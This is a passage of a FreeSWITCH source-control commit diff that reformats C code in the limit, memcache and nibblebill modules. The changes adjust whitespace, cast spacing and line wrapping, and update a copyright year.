hashkey = switch_core_session_sprintf(session, "%s_%s", realm, id);
-
+
switch_mutex_lock(globals.limit_hash_mutex);
-
- if ((item = (limit_hash_item_t*)switch_core_hash_find(pvt->hash, hashkey))) {
- item->total_usage--;
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "Usage for %s is now %d\n", (const char*)hashkey, item->total_usage);
-
+
+ if ((item = (limit_hash_item_t *) switch_core_hash_find(pvt->hash, hashkey))) {
+ item->total_usage--;
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "Usage for %s is now %d\n", (const char *) hashkey, item->total_usage);
+
switch_core_hash_delete(pvt->hash, hashkey);
-
- if (item->total_usage == 0) {
+
+ if (item->total_usage == 0) {
/* Noone is using this item anymore */
- switch_core_hash_delete(globals.limit_hash, (const char*)hashkey);
+ switch_core_hash_delete(globals.limit_hash, (const char *) hashkey);
free(item);
}
}
-
+
switch_mutex_unlock(globals.limit_hash_mutex);
}
@@ -1072,29 +1060,28 @@
mydata = switch_core_session_strdup(session, data);
argc = switch_separate_string(mydata, ' ', argv, (sizeof(argv) / sizeof(argv[0])));
}
-
+
if (argc < 2) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "USAGE: limit_hash %s\n", LIMITHASH_USAGE);
return;
}
-
+
realm = argv[0];
id = argv[1];
-
+
/* If max is omitted or negative, only act as a counter and skip maximum checks */
if (argc > 2) {
if (argv[2][0] == '-') {
max = -1;
} else {
char *szinterval = NULL;
- if ((szinterval = strchr(argv[2], '/')))
- {
+ if ((szinterval = strchr(argv[2], '/'))) {
*szinterval++ = '\0';
interval = atoi(szinterval);
}
-
+
max = atoi(argv[2]);
-
+
if (max < 0) {
max = 0;
}
@@ -1106,11 +1093,11 @@
} else {
xfer_exten = limit_def_xfer_exten;
}
-
+
if (!do_limit_hash(session, realm, id, max, interval)) {
/* Limit exceeded */
if (*xfer_exten == '!') {
- switch_channel_hangup(channel, switch_channel_str2cause(xfer_exten+1));
+ switch_channel_hangup(channel, switch_channel_str2cause(xfer_exten + 1));
} else {
switch_ivr_session_transfer(session, xfer_exten, argv[4], argv[5]);
}
@@ -1137,23 +1124,22 @@
mydata = switch_core_session_strdup(session, data);
argc = switch_separate_string(mydata, ' ', argv, (sizeof(argv) / sizeof(argv[0])));
}
-
+
if (argc < 5) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "USAGE: limit_hash_execute %s\n", LIMITHASHEXECUTE_USAGE);
return;
}
-
+
realm = argv[0];
id = argv[1];
-
- /* Accept '-' as unlimited (act as counter)*/
+
+ /* Accept '-' as unlimited (act as counter) */
if (argv[2][0] == '-') {
max = -1;
} else {
char *szinterval = NULL;
- if ((szinterval = strchr(argv[2], '/')))
- {
+ if ((szinterval = strchr(argv[2], '/'))) {
*szinterval++ = '\0';
interval = atoi(szinterval);
}
@@ -1162,9 +1148,9 @@
if (max < 0) {
max = 0;
- }
+ }
}
-
+
app = argv[3];
app_arg = argv[4];
@@ -1191,31 +1177,31 @@
uint32_t count = 0;
switch_mutex_lock(globals.limit_hash_mutex);
-
+
if (!zstr(cmd)) {
mydata = strdup(cmd);
switch_assert(mydata);
argc = switch_separate_string(mydata, ' ', argv, (sizeof(argv) / sizeof(argv[0])));
}
-
+
if (argc < 2) {
stream->write_function(stream, "USAGE: limit_hash_usage %s\n", LIMIT_HASH_USAGE_USAGE);
goto end;
}
-
+
hash_key = switch_mprintf("%s_%s", argv[0], argv[1]);
-
+
if ((item = switch_core_hash_find(globals.limit_hash, hash_key))) {
count = item->total_usage;
- }
-
+ }
+
stream->write_function(stream, "%d", count);
-
-end:
+
+ end:
switch_safe_free(mydata);
switch_safe_free(hash_key);
switch_mutex_unlock(globals.limit_hash_mutex);
-
+
return SWITCH_STATUS_SUCCESS;
}
@@ -1231,11 +1217,10 @@
if (switch_event_reserve_subclass(LIMIT_EVENT_USAGE) != SWITCH_STATUS_SUCCESS) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Couldnt register event subclass \"%s\"",
- LIMIT_EVENT_USAGE);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Couldnt register event subclass \"%s\"", LIMIT_EVENT_USAGE);
return SWITCH_STATUS_FALSE;
}
-
+
if ((status = do_config() != SWITCH_STATUS_SUCCESS)) {
return status;
}
@@ -1248,18 +1233,20 @@
/* connect my internal structure to the blank pointer passed to me */
*module_interface = switch_loadable_module_create_module_interface(pool, modname);
-
+
SWITCH_ADD_APP(app_interface, "limit", "Limit", LIMIT_DESC, limit_function, LIMIT_USAGE, SAF_SUPPORT_NOMEDIA);
SWITCH_ADD_APP(app_interface, "limit_execute", "Limit", LIMITEXECUTE_USAGE, limit_execute_function, LIMITEXECUTE_USAGE, SAF_SUPPORT_NOMEDIA);
SWITCH_ADD_APP(app_interface, "limit_hash", "Limit (hash)", LIMITHASH_DESC, limit_hash_function, LIMITHASH_USAGE, SAF_SUPPORT_NOMEDIA);
- SWITCH_ADD_APP(app_interface, "limit_hash_execute", "Limit (hash)", LIMITHASHEXECUTE_USAGE, limit_hash_execute_function, LIMITHASHEXECUTE_USAGE, SAF_SUPPORT_NOMEDIA);
+ SWITCH_ADD_APP(app_interface, "limit_hash_execute", "Limit (hash)", LIMITHASHEXECUTE_USAGE, limit_hash_execute_function, LIMITHASHEXECUTE_USAGE,
+ SAF_SUPPORT_NOMEDIA);
SWITCH_ADD_APP(app_interface, "db", "Insert to the db", DB_DESC, db_function, DB_USAGE, SAF_SUPPORT_NOMEDIA);
SWITCH_ADD_APP(app_interface, "hash", "Insert into the hashtable", HASH_DESC, hash_function, HASH_USAGE, SAF_SUPPORT_NOMEDIA)
- SWITCH_ADD_APP(app_interface, "group", "Manage a group", GROUP_DESC, group_function, GROUP_USAGE, SAF_SUPPORT_NOMEDIA);
+ SWITCH_ADD_APP(app_interface, "group", "Manage a group", GROUP_DESC, group_function, GROUP_USAGE, SAF_SUPPORT_NOMEDIA);
- SWITCH_ADD_API(commands_api_interface, "limit_hash_usage", "Gets the usage count of a limited resource", limit_hash_usage_function, LIMIT_HASH_USAGE_USAGE);
+ SWITCH_ADD_API(commands_api_interface, "limit_hash_usage", "Gets the usage count of a limited resource", limit_hash_usage_function,
+ LIMIT_HASH_USAGE_USAGE);
SWITCH_ADD_API(commands_api_interface, "limit_usage", "Gets the usage count of a limited resource", limit_usage_function, "<realm> <id>");
SWITCH_ADD_API(commands_api_interface, "db", "db get/set", db_api_function, "[insert|delete|select]/<realm>/<key>/<value>");
switch_console_set_complete("add db insert");
@@ -1279,13 +1266,13 @@
}
-SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_limit_shutdown)
+SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_limit_shutdown)
{
-
+
switch_event_free_subclass(LIMIT_EVENT_USAGE);
-
+
switch_xml_config_cleanup(config_settings);
-
+
switch_mutex_destroy(globals.mutex);
switch_mutex_destroy(globals.limit_hash_mutex);
switch_mutex_destroy(globals.db_hash_mutex);
Modified: freeswitch/trunk/src/mod/applications/mod_memcache/mod_memcache.c (16578 => 16579)
--- freeswitch/trunk/src/mod/applications/mod_memcache/mod_memcache.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_memcache/mod_memcache.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -42,11 +42,8 @@
SWITCH_MODULE_DEFINITION(mod_memcache, mod_memcache_load, mod_memcache_shutdown, NULL);
static char *SYNTAX = "memcache <set|replace|add> <key> <value> [expiration [flags]]\n"
- "memcache <get|getflags> <key>\n"
- "memcache <delete> <key>\n"
- "memcache <increment|decrement> <key> [offset [expires [flags]]]\n"
- "memcache <flush>\n"
- "memcache <status> [verbose]\n";
+ "memcache <get|getflags> <key>\n"
+ "memcache <delete> <key>\n" "memcache <increment|decrement> <key> [offset [expires [flags]]]\n" "memcache <flush>\n" "memcache <status> [verbose]\n";
static struct {
memcached_st *memcached;
@@ -55,7 +52,8 @@
static switch_event_node_t *NODE = NULL;
-static switch_status_t config_callback_memcached(switch_xml_config_item_t *data, const char *newvalue, switch_config_callback_type_t callback_type, switch_bool_t changed)
+static switch_status_t config_callback_memcached(switch_xml_config_item_t *data, const char *newvalue, switch_config_callback_type_t callback_type,
+ switch_bool_t changed)
{
switch_status_t status = SWITCH_STATUS_SUCCESS;
memcached_server_st *memcached_server = NULL;
@@ -64,23 +62,23 @@
const char *memcached_str = NULL;
memcached_return rc;
unsigned int servercount;
-
+
if ((callback_type == CONFIG_LOAD || callback_type == CONFIG_RELOAD) && changed) {
memcached_str = newvalue;
-
+
/* initialize main ptr */
memcached_server = memcached_servers_parse(memcached_str);
if (!memcached_server) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Unable to initialize memcached data structure (server_list).\n");
switch_goto_status(SWITCH_STATUS_GENERR, end);
}
-
+
if ((servercount = memcached_server_list_count(memcached_server)) == 0) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "No memcache servers defined. Server string: %s.\n", memcached_str);
} else {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "%u servers defined (%s).\n", servercount, memcached_str);
}
-
+
/* setup memcached */
newmemcached = memcached_create(NULL);
if (!newmemcached) {
@@ -93,16 +91,16 @@
switch_goto_status(SWITCH_STATUS_GENERR, end);
}
/* memcached_behavior_set(newmemcached, MEMCACHED_BEHAVIOR_BINARY_PROTOCOL, 1); */
-
+
/* swap pointers */
oldmemcached = globals.memcached;
globals.memcached = newmemcached;
newmemcached = NULL;
}
-
+
switch_goto_status(SWITCH_STATUS_SUCCESS, end);
-end:
+ end:
if (memcached_server) {
memcached_server_list_free(memcached_server);
}
@@ -115,12 +113,13 @@
return status;
}
-static switch_xml_config_string_options_t config_opt_memcache_servers = {NULL, 0, NULL}; /* anything ok */
+static switch_xml_config_string_options_t config_opt_memcache_servers = { NULL, 0, NULL }; /* anything ok */
static switch_xml_config_item_t instructions[] = {
/* parameter name type reloadable pointer default value options structure */
- SWITCH_CONFIG_ITEM_CALLBACK("memcache-servers", SWITCH_CONFIG_STRING, CONFIG_REQUIRED | CONFIG_RELOAD, &globals.memcached_str, "", config_callback_memcached, &config_opt_memcache_servers,
- "host,host:port,host", "List of memcached servers."),
+ SWITCH_CONFIG_ITEM_CALLBACK("memcache-servers", SWITCH_CONFIG_STRING, CONFIG_REQUIRED | CONFIG_RELOAD, &globals.memcached_str, "",
+ config_callback_memcached, &config_opt_memcache_servers,
+ "host,host:port,host", "List of memcached servers."),
SWITCH_CONFIG_ITEM_END()
};
@@ -129,8 +128,8 @@
if (switch_xml_config_parse_module_settings("memcache.conf", reload, instructions) != SWITCH_STATUS_SUCCESS) {
return SWITCH_STATUS_GENERR;
}
-
-
+
+
return SWITCH_STATUS_SUCCESS;
}
@@ -154,42 +153,42 @@
time_t expires = 0;
uint32_t flags = 0;
unsigned int server_count = 0;
-
+
memcached_return rc;
memcached_st *memcached = NULL;
memcached_stat_st *stat = NULL;
memcached_server_st *server_list;
-
+
if (zstr(cmd)) {
goto usage;
}
-
+
mydata = strdup(cmd);
if ((argc = switch_separate_string(mydata, ' ', argv, (sizeof(argv) / sizeof(argv[0]))))) {
if (argc < 1) {
goto usage;
}
-
+
/* clone memcached struct so we're thread safe */
memcached = memcached_clone(NULL, globals.memcached);
if (!memcached) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Error cloning memcached object");
stream->write_function(stream, "-ERR Error cloning memcached object\n");
}
-
+
subcmd = argv[0];
-
+
if ((!strcasecmp(subcmd, "set") || !strcasecmp(subcmd, "replace") || !strcasecmp(subcmd, "add")) && argc > 2) {
key = argv[1];
val = argv[2];
if (argc > 3) {
expires_str = argv[3];
- expires = (time_t)strtol(expires_str, NULL, 10);
+ expires = (time_t) strtol(expires_str, NULL, 10);
}
if (argc > 4) {
flags_str = argv[4];
- flags = (uint32_t)strtol(flags_str, NULL, 16);
+ flags = (uint32_t) strtol(flags_str, NULL, 16);
}
if (!strcasecmp(subcmd, "set")) {
rc = memcached_set(memcached, key, strlen(key), val, strlen(val), expires, flags);
@@ -198,7 +197,7 @@
} else if (!strcasecmp(subcmd, "add")) {
rc = memcached_add(memcached, key, strlen(key), val, strlen(val), expires, flags);
}
-
+
if (rc == MEMCACHED_SUCCESS) {
stream->write_function(stream, "+OK\n");
} else {
@@ -206,10 +205,10 @@
}
} else if (!strcasecmp(subcmd, "get") && argc > 1) {
key = argv[1];
-
+
val = memcached_get(memcached, key, strlen(key), &string_length, &flags, &rc);
if (rc == MEMCACHED_SUCCESS) {
- stream->write_function(stream, "%.*s", (int)string_length, val);
+ stream->write_function(stream, "%.*s", (int) string_length, val);
} else {
switch_safe_free(val);
switch_goto_status(SWITCH_STATUS_SUCCESS, mcache_error);
@@ -217,7 +216,7 @@
switch_safe_free(val);
} else if (!strcasecmp(subcmd, "getflags") && argc > 1) {
key = argv[1];
-
+
val = memcached_get(memcached, key, strlen(key), &string_length, &flags, &rc);
if (rc == MEMCACHED_SUCCESS) {
stream->write_function(stream, "%x", flags);
@@ -234,20 +233,20 @@
key = argv[1];
if (argc > 2) {
- offset = (unsigned int)strtol(argv[2], NULL, 10);
+ offset = (unsigned int) strtol(argv[2], NULL, 10);
svalue = argv[2];
} else {
svalue = "1";
}
if (argc > 3) {
expires_str = argv[3];
- expires = (time_t)strtol(expires_str, NULL, 10);
+ expires = (time_t) strtol(expires_str, NULL, 10);
}
if (argc > 4) {
flags_str = argv[4];
- flags = (uint32_t)strtol(flags_str, NULL, 16);
+ flags = (uint32_t) strtol(flags_str, NULL, 16);
}
-
+
if (!strcasecmp(subcmd, "increment")) {
increment = SWITCH_TRUE;
rc = memcached_increment(memcached, key, strlen(key), offset, &ivalue);
@@ -259,18 +258,20 @@
/* ok, trying to incr / decr a value that doesn't exist yet.
Try to add an appropriate initial value. If someone else beat
us to it, then redo incr/decr. Otherwise we're good.
- */
+ */
rc = memcached_add(memcached, key, strlen(key), (increment) ? svalue : "0", strlen(svalue), expires, flags);
if (rc == MEMCACHED_SUCCESS) {
ivalue = (increment) ? offset : 0;
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Initialized inc/dec memcache key: %s to value %d\n", key, offset);
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Initialized inc/dec memcache key: %s to value %d\n", key,
+ offset);
} else {
if (increment) {
rc = memcached_increment(memcached, key, strlen(key), offset, &ivalue);
} else {
rc = memcached_decrement(memcached, key, strlen(key), offset, &ivalue);
}
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Someone else created incr/dec memcache key, resubmitting inc/dec request.\n");
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG,
+ "Someone else created incr/dec memcache key, resubmitting inc/dec request.\n");
}
}
if (rc == MEMCACHED_SUCCESS) {
@@ -282,7 +283,7 @@
key = argv[1];
if (argc > 2) {
expires_str = argv[3];
- expires = (time_t)strtol(expires_str, NULL, 10);
+ expires = (time_t) strtol(expires_str, NULL, 10);
}
rc = memcached_delete(memcached, key, strlen(key), expires);
if (rc == MEMCACHED_SUCCESS) {
@@ -293,7 +294,7 @@
} else if (!strcasecmp(subcmd, "flush")) {
if (argc > 1) {
expires_str = argv[3];
- expires = (time_t)strtol(expires_str, NULL, 10);
+ expires = (time_t) strtol(expires_str, NULL, 10);
}
rc = memcached_flush(memcached, expires);
if (rc == MEMCACHED_SUCCESS) {
@@ -310,7 +311,7 @@
verbose = SWITCH_TRUE;
}
}
-
+
stream->write_function(stream, "Lib version: %s\n", memcached_lib_version());
stat = memcached_stat(memcached, NULL, &rc);
if (rc != MEMCACHED_SUCCESS && rc != MEMCACHED_SOME_ERRORS) {
@@ -320,13 +321,14 @@
server_count = memcached_server_count(memcached);
stream->write_function(stream, "Servers: %d\n", server_count);
for (x = 0; x < server_count; x++) {
- stream->write_function(stream, " %s (%u)\n", memcached_server_name(memcached, server_list[x]), memcached_server_port(memcached, server_list[x]));
+ stream->write_function(stream, " %s (%u)\n", memcached_server_name(memcached, server_list[x]),
+ memcached_server_port(memcached, server_list[x]));
if (verbose == SWITCH_TRUE) {
char **list;
char **ptr;
char *value;
memcached_return rc2;
-
+
list = memcached_stat_get_keys(memcached, &stat[x], &rc);
for (ptr = list; *ptr; ptr++) {
value = memcached_stat_get_value(memcached, &stat[x], *ptr, &rc2);
@@ -343,25 +345,26 @@
}
switch_goto_status(SWITCH_STATUS_SUCCESS, done);
-mcache_error:
+ mcache_error:
if (rc != MEMCACHED_NOTFOUND) {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Error while running command %s: %s\n", subcmd, memcached_strerror(memcached, rc));
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Error while running command %s: %s\n", subcmd,
+ memcached_strerror(memcached, rc));
}
stream->write_function(stream, "-ERR %s\n", memcached_strerror(memcached, rc));
goto done;
-
-usage:
+
+ usage:
stream->write_function(stream, "-ERR\n%s\n", SYNTAX);
switch_goto_status(SWITCH_STATUS_SUCCESS, done);
-
-done:
+
+ done:
if (memcached) {
memcached_quit(memcached);
memcached_free(memcached);
}
switch_safe_free(mydata);
switch_safe_free(stat);
-
+
return status;
}
@@ -375,12 +378,12 @@
memset(&globals, 0, sizeof(globals));
do_config(SWITCH_FALSE);
-
+
if ((switch_event_bind_removable(modname, SWITCH_EVENT_RELOADXML, NULL, event_handler, NULL, &NODE) != SWITCH_STATUS_SUCCESS)) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Couldn't bind event!\n");
return SWITCH_STATUS_TERM;
}
-
+
SWITCH_ADD_API(api_interface, "memcache", "Memcache API", memcache_function, "syntax");
/* indicate that the module should continue to be loaded */
@@ -397,9 +400,9 @@
if (globals.memcached) {
memcached_free(globals.memcached);
}
-
+
switch_event_unbind(&NODE);
-
+
return SWITCH_STATUS_SUCCESS;
}
Modified: freeswitch/trunk/src/mod/applications/mod_nibblebill/mod_nibblebill.c (16578 => 16579)
--- freeswitch/trunk/src/mod/applications/mod_nibblebill/mod_nibblebill.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_nibblebill/mod_nibblebill.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -53,31 +53,28 @@
static char SQL_LOOKUP[] = "SELECT %s FROM %s WHERE %s='%s'";
static char SQL_SAVE[] = "UPDATE %s SET %s=%s-%f WHERE %s='%s'";
-typedef struct
-{
- switch_time_t lastts; /* Last time we did any billing */
- float total; /* Total amount billed so far */
+typedef struct {
+ switch_time_t lastts; /* Last time we did any billing */
+ float total; /* Total amount billed so far */
- switch_time_t pausets; /* Timestamp of when a pause action started. 0 if not paused */
- float bill_adjustments; /* Adjustments to make to the next billing, based on pause/resume events */
+ switch_time_t pausets; /* Timestamp of when a pause action started. 0 if not paused */
+ float bill_adjustments; /* Adjustments to make to the next billing, based on pause/resume events */
} nibble_data_t;
-typedef struct nibblebill_results
-{
- float balance;
+typedef struct nibblebill_results {
+ float balance;
- float percall_max; /* Overrides global on a per-user level */
- float lowbal_amt; /* ditto */
+ float percall_max; /* Overrides global on a per-user level */
+ float lowbal_amt; /* ditto */
} nibblebill_results_t;
/* Keep track of our config, event hooks and database connection variables, for this module only */
-static struct
-{
+static struct {
/* Memory */
- switch_memory_pool_t *pool;
+ switch_memory_pool_t *pool;
/* Event hooks */
switch_event_node_t *node;
@@ -86,15 +83,15 @@
switch_mutex_t *mutex;
/* Global billing config options */
- float percall_max_amt; /* Per-call billing limit (safety check, for fraud) */
- char *percall_action; /* Exceeded length of per-call action */
- float lowbal_amt; /* When we warn them they are near depletion */
- char *lowbal_action; /* Low balance action */
- float nobal_amt; /* Minimum amount that must remain in the account */
- char *nobal_action; /* Drop action */
+ float percall_max_amt; /* Per-call billing limit (safety check, for fraud) */
+ char *percall_action; /* Exceeded length of per-call action */
+ float lowbal_amt; /* When we warn them they are near depletion */
+ char *lowbal_action; /* Low balance action */
+ float nobal_amt; /* Minimum amount that must remain in the account */
+ char *nobal_action; /* Drop action */
/* Other options */
- int global_heartbeat; /* Supervise and bill every X seconds, 0 means off */
+ int global_heartbeat; /* Supervise and bill every X seconds, 0 means off */
/* Database settings */
char *db_username;
@@ -135,7 +132,7 @@
{
nibblebill_results_t *cbt = (nibblebill_results_t *) pArg;
- cbt->balance = (float)atof(argv[0]);
+ cbt->balance = (float) atof(argv[0]);
return 0;
}
@@ -145,13 +142,13 @@
char *cf = "nibblebill.conf";
switch_xml_t cfg, xml = NULL, param, settings;
switch_status_t status = SWITCH_STATUS_SUCCESS;
-
+
if (!(xml = switch_xml_open_cfg(cf, &cfg, NULL))) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "open of %s failed\n", cf);
- status = SWITCH_STATUS_SUCCESS; /* We don't fail because we can still write to a text file or buffer */
+ status = SWITCH_STATUS_SUCCESS; /* We don't fail because we can still write to a text file or buffer */
goto setdefaults;
}
-
+
if ((settings = switch_xml_child(cfg, "settings"))) {
for (param = switch_xml_child(settings, "param"); param; param = param->next) {
char *var = (char *) switch_xml_attr_soft(param, "name");
@@ -172,23 +169,23 @@
} else if (!strcasecmp(var, "percall_action")) {
set_global_percall_action(val);
} else if (!strcasecmp(var, "percall_max_amt")) {
- globals.percall_max_amt = (float)atof(val);
+ globals.percall_max_amt = (float) atof(val);
} else if (!strcasecmp(var, "lowbal_action")) {
set_global_lowbal_action(val);
} else if (!strcasecmp(var, "lowbal_amt")) {
- globals.lowbal_amt = (float)atof(val);
+ globals.lowbal_amt = (float) atof(val);
} else if (!strcasecmp(var, "nobal_action")) {
set_global_nobal_action(val);
} else if (!strcasecmp(var, "nobal_amt")) {
- globals.nobal_amt = (float)atof(val);
+ globals.nobal_amt = (float) atof(val);
} else if (!strcasecmp(var, "global_heartbeat")) {
globals.global_heartbeat = atoi(val);
}
}
}
-
+
/* Set defaults for any variables still not set */
-setdefaults:
+ setdefaults:
if (zstr(globals.db_username)) {
set_global_db_username("bandwidth.com");
}
@@ -218,7 +215,7 @@
}
if (switch_odbc_handle_connect(globals.master_odbc) != SWITCH_ODBC_SUCCESS) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT,
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT,
"Cannot connect to ODBC driver/database %s (user: %s / pass %s)!\n",
globals.db_dsn, globals.db_username, globals.db_password);
status = SWITCH_STATUS_FALSE;
@@ -232,7 +229,7 @@
"ODBC does not appear to be installed in the core. You need to run ./configure --enable-core-odbc-support\n");
}
-done:
+ done:
if (xml) {
switch_xml_free(xml);
}
@@ -241,7 +238,7 @@
void debug_event_handler(switch_event_t *event)
{
- if (!event) {
+ if (!event) {
return;
}
@@ -305,8 +302,9 @@
return SWITCH_STATUS_SUCCESS;
}
- switch_snprintf(sql, 1024, SQL_SAVE, globals.db_table, globals.db_column_cash, globals.db_column_cash, billamount, globals.db_column_account, billaccount);
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Doing update query\n[%s]\n", sql);
+ switch_snprintf(sql, 1024, SQL_SAVE, globals.db_table, globals.db_column_cash, globals.db_column_cash, billamount, globals.db_column_account,
+ billaccount);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Doing update query\n[%s]\n", sql);
if (switch_odbc_handle_exec(globals.master_odbc, sql, &stmt, NULL) != SWITCH_ODBC_SUCCESS) {
char *err_str;
@@ -347,9 +345,9 @@
/* Successfully retrieved! */
balance = pdata.balance;
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Retrieved current balance for account %s (balance = %f)\n", billaccount, balance);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Retrieved current balance for account %s (balance = %f)\n", billaccount, balance);
}
-
+
return balance;
}
@@ -394,7 +392,8 @@
return SWITCH_STATUS_SUCCESS;
}
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Attempting to bill at $%s per minute to account %s\n", billrate, billaccount);
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Attempting to bill at $%s per minute to account %s\n", billrate,
+ billaccount);
/* Get caller profile info from channel */
profile = switch_channel_get_caller_profile(channel);
@@ -409,10 +408,11 @@
/* See if this person has enough money left to continue the call */
balance = get_balance(billaccount);
-switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Comparing %f to hangup balance of %f\n", balance, globals.nobal_amt);
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Comparing %f to hangup balance of %f\n", balance, globals.nobal_amt);
if (balance <= globals.nobal_amt) {
/* Not enough money - reroute call to nobal location */
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Balance of %f fell below allowed amount of %f! (Account %s)\n", balance, globals.nobal_amt, billaccount);
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Balance of %f fell below allowed amount of %f! (Account %s)\n",
+ balance, globals.nobal_amt, billaccount);
transfer_call(session, globals.nobal_action);
}
@@ -443,7 +443,7 @@
memset(nibble_data, 0, sizeof(*nibble_data));
/* Setup new billing data (based on call answer time, in case this module started late with active calls) */
- nibble_data->lastts = profile->times->answered; /* Set the initial answer time to match when the call was really answered */
+ nibble_data->lastts = profile->times->answered; /* Set the initial answer time to match when the call was really answered */
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "Beginning new billing on %s\n", uuid);
} else {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Last successful billing time was %s\n", date);
@@ -452,13 +452,15 @@
switch_time_exp_lt(&tm, nibble_data->lastts);
switch_strftime_nocheck(date, &retsize, sizeof(date), "%Y-%m-%d %T", &tm);
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%d seconds passed since last bill time of %s\n", (int) ((ts - nibble_data->lastts) / 1000000), date);
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%d seconds passed since last bill time of %s\n",
+ (int) ((ts - nibble_data->lastts) / 1000000), date);
if ((ts - nibble_data->lastts) >= 0) {
/* Convert billrate into microseconds and multiply by # of microseconds that have passed since last *successful* bill */
- billamount = ((float)atof(billrate) / 1000000 / 60) * ((ts - nibble_data->lastts)) - nibble_data->bill_adjustments;
+ billamount = ((float) atof(billrate) / 1000000 / 60) * ((ts - nibble_data->lastts)) - nibble_data->bill_adjustments;
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Billing $%f to %s (Call: %s / %f so far)\n", billamount, billaccount, uuid, nibble_data->total);
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Billing $%f to %s (Call: %s / %f so far)\n", billamount, billaccount,
+ uuid, nibble_data->total);
/* DO ODBC BILLING HERE and reset counters if it's successful! */
if (bill_event(billamount, billaccount) == SWITCH_STATUS_SUCCESS) {
@@ -474,7 +476,8 @@
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_CRIT, "Failed to log to database!\n");
}
} else {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "Just tried to bill %s negative minutes! That should be impossible.\n", uuid);
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "Just tried to bill %s negative minutes! That should be impossible.\n",
+ uuid);
}
/* Update the last time we billed */
@@ -488,7 +491,8 @@
balance = get_balance(billaccount);
if (balance <= globals.nobal_amt) {
/* Not enough money - reroute call to nobal location */
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Balance of %f fell below allowed amount of %f! (Account %s)\n", balance, globals.nobal_amt, billaccount);
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Balance of %f fell below allowed amount of %f! (Account %s)\n",
+ balance, globals.nobal_amt, billaccount);
/* IMPORTANT: Billing must be paused before the transfer occurs! This prevents infinite loops, since the transfer will result */
/* in nibblebill checking the call again in the routing process for an allowed balance! */
@@ -496,7 +500,7 @@
nibblebill_pause(session);
transfer_call(session, globals.nobal_action);
}
- }
+ }
/* Done changing - release lock */
@@ -515,18 +519,18 @@
switch_core_session_t *session;
char *uuid;
- if (!event){
+ if (!event) {
/* We should never get here - it means an event came in without the event info */
return;
}
/* Make sure everything is sane */
- if (!(uuid = switch_event_get_header(event, "Unique-ID"))){
+ if (!(uuid = switch_event_get_header(event, "Unique-ID"))) {
/* Donde esta channel? */
return;
}
